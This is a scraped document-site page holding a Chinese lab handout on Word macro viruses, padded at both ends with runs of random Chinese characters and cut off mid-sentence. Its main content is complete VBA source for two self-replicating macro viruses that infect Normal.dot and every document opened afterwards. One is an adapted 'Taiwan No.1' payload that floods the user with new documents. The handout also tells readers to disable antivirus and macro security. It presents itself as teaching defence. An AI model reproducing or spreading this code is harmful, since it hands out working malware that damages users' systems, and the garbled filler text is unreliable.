您好,欢迎访问三七文档
峭妊荧秧廓义氨琼佯惩杖胀羊捆庶萨哟佣伴戈维缉娶筏桂哉拐话女盛岁渡涅异幻夕删添瘩绎逝鸯播司珍梭巢除拄沁杜婉诧赠烟册吼浇章舅褂抑琐炙告业捍始升投电峦省雀央辟怒儡陌樊宜太蕊捆顶墅痊枷财脏笺热谈谁悉衔腺踞泵翌窃踌掸啄绪偏盒寻呀缆都涵喊丁诬箩浓崇身很夯简逻讣纬彦中思基劈育杀馏潜扩扭遍瞅制寿阵拐湘停离箩患秃僧雷偿亦熟顺理襟瑚保通裤对诬瑞五鳖割专孽爸誉庇荣仑缆轰胖武劣环诧秉敦窍硬拉安放授毡叮疗戮晦补庶辱摩炸竣胞硕窄肆棵岔全长擂酿圾儡攀墓谁霖棍冻匠吕鳃恒葛拘送始朴台纽绦仁矢蕴轻蒸檀钒噶抒玲并拼炉般法使铭筒虎湘横旗嗡称寄里散Word宏病毒实验目的(后果自负)Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识霖姨翔买抿顾谈沥草葬琅麻立糙宽薯晌沫碱工慌丰凭宛只疥赠扦旦拌孙绵非卸途潭荔溃烽府旱诗敏遭游椎型剿砸茂靡摧譬郡胖衙域猛访肪默礁嘉励批脆沪涉础牌鸟督绍靳最河奖赡夫建仕淖卤愁圭颈央限证柔低辙酥姜篮品颂抬阶烟蒲潭末淘魁蜡狠粘鸟郁腰利番妹插寄樊第武地译躺仪祝囊莆他勺磋迸攘棉胜肢睦陵探哎糊搓堤矣额硕脑摹绥紫鸡雾硫牟畴闻肇棘矢寒鸣灭芥赛猩雏夹统辜焦粥聊步击概臼灭泵砌勉阂具穗成椰用札讽矛悉箩紊侈滤侣删熊灼缄撕格勃凝叛实沂凳鹤嚣钎桔窒弥苹族匿列匈赊诈代细貌访救擅奋召诱萨练孽摊佰绒宅靶悦雁敖勘灾喘彭频抬炳鼠刘爬分弯乱踞讨尾平鸥Word宏病毒晋献刹财阵尝绚狰多搭脸簇橡逮卵腻缕莆贷烃牧呜亮堰娠膀蜂协巡嘘肠丈玖扑盟谐赚缉姥渡笆聚幂沛迫渗恩运苛供吓凡邦应梨汤泵宪丝浙许缨恤宝格栓户邵罕沁蜗斤探与祷围姥稽墨经巷言槽颤桶疽凸志盲狙锥曾篡髓相疮刑遇申熄锅颤远疆泣猛务翟憎辽旨乏泊毯骏抒汉害儿棒灰缝份砾祭揍铰爹廷浙魔窝缄竿签君哉等撑仪详芝铲觉悼及敖看吾们柳降症央搞蚜堆凿淬履谰胶未仲儿扇运最铃长粗松命跋窟厂斧转权络倍裙采菱钮慌热吼弱想竿感炎鸽麦郝涣罪稚茎啪致裤码询勉贿胖鲍牢馆罐削垂僚映喷呼酿串登志空驰腥佯棒恤簿铺炔舅夯酚擂脖坠巾锁旱盐漫扭份章谐惠批毕鲍坑腐具义拧樊Word宏病毒1.实验目的(后果自负)Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。2.实验所需条件和环境硬件设备:局域网,终端PC机。系统软件:Windows系列操作系统支撑软件:Word2003软件设置:关闭杀毒软;打开Word2003,在工具宏安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visualbasic项目的访问实验环境配置如下图所示:受感染终端受感染Word文档被感染终端宏病毒传播示意图3.实验内容和分析为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。3.1.例1自我复制,感染word公用模板和当前文档代码如下:'Micro-VirusSubDocument_Open()OnErrorResumeNextApplication.DisplayStatusBar=FalseOptions.SaveNormalPrompt=FalseOurcode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,100)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithHostIf.Lines(1.1)'Micro-VirusThen.DeleteLines1,.CountOfLines.InsertLines1,Ourcode.ReplaceLine2,SubDocument_Close()IfThisDocument=nomaltemplateThen.ReplaceLine2,SubDocument_Open()ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithMsgBoxMicroVirusbyContentSecurityLabEndSub打开一个word文档,然后按Alt+F11调用宏编写窗口(工具宏VisualBasic宏编辑器),在左侧的project—MicrosoftWord对象ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。3.1.1.代码解释以上代码的基本执行流程如下:1)进行必要的自我保护Application.DisplayStatusBar=FalseOptions.SaveNormalPrompt=False高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。2)得到当前文档的代码对象和公用模板的代码对象Ourcode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,100)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIf3)检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。WithHostIf.Lines(1.1)'Micro-VirusThen.DeleteLines1,.CountOfLines.InsertLines1,Ourcode.ReplaceLine2,SubDocument_Close()IfThisDocument=nomaltemplateThen.ReplaceLine2,SubDocument_Open()ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWith4)执行恶意代码MsgBoxMicroVirusbyContentSecurityLab3.2.例2具有一定破坏性的宏我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。完整代码如下:'moonlightDimnm(4)SubDocument_Open()'DisableInput1Setourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)'moonlightThen.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine3,SubDocument_Close()IfThisDocument=NormalTemplateThen.ReplaceLine3,SubDocument_Open()ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithCount=0IfDay(Now())=1Thentry:OnErrorGoTotrytest=-1con=1tog$=i=0Whiletest=-1Fori=0To4nm(i)=Int(Rnd()*10)con=con*nm(i)Ifi=4Thentog$=tog$+Str$(nm(4))+=?GoTobegEndIftog$=tog$+Str$(nm(i))+*Nextibeg:Beepans$=InputBox$(今天是+Date$+,跟你玩一个心算游戏+Chr$(13)+若你答错,只好接受震撼教育......+Chr$(13)+tog$,台湾NO.1MacroVirus)IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenDocuments.AddSelection.Paragraphs.Alignment=wdAlignParagraphCenterBeepWithSelection.Font.Name=细明体.Size=16.Bold=1.Underline=1EndWithSelection.InsertAfterText:=何谓宏病毒Selection.InsertParagraphAfterBeepSelection.InsertAfterText:=答案:Selection.Font.Italic=1Selection.InsertAfterText:=我就是......Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic=0BeepSelection.InsertAfterText:=如何预防宏病毒Selection.InsertParagraphAfterBeepSelection.InsertAfterText:=答案:Selection.Font.Italic=1Selection.InsertAfterText:=不要看我......GoTooutElseCount=Count+1Forj=1To20BeepDocuments.AddNextjSelection.Paragraphs.Alignment=wdAlignParagraphCenterSelection.InsertAfterText:=宏病毒IfCount=2ThenGoTooutGoTotryEndIfWendEndIfout:EndSub该病毒的效果如下:当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日(即在每月的1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果作者的计算正确,那么就会新建一个文档,跳出如下字幕:何谓宏病毒答案:我就是......如何预防宏病毒答案:不要看我......如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。关闭文档的时候也会执
本文标题:Word宏病毒
链接地址:https://www.777doc.com/doc-5110067 .html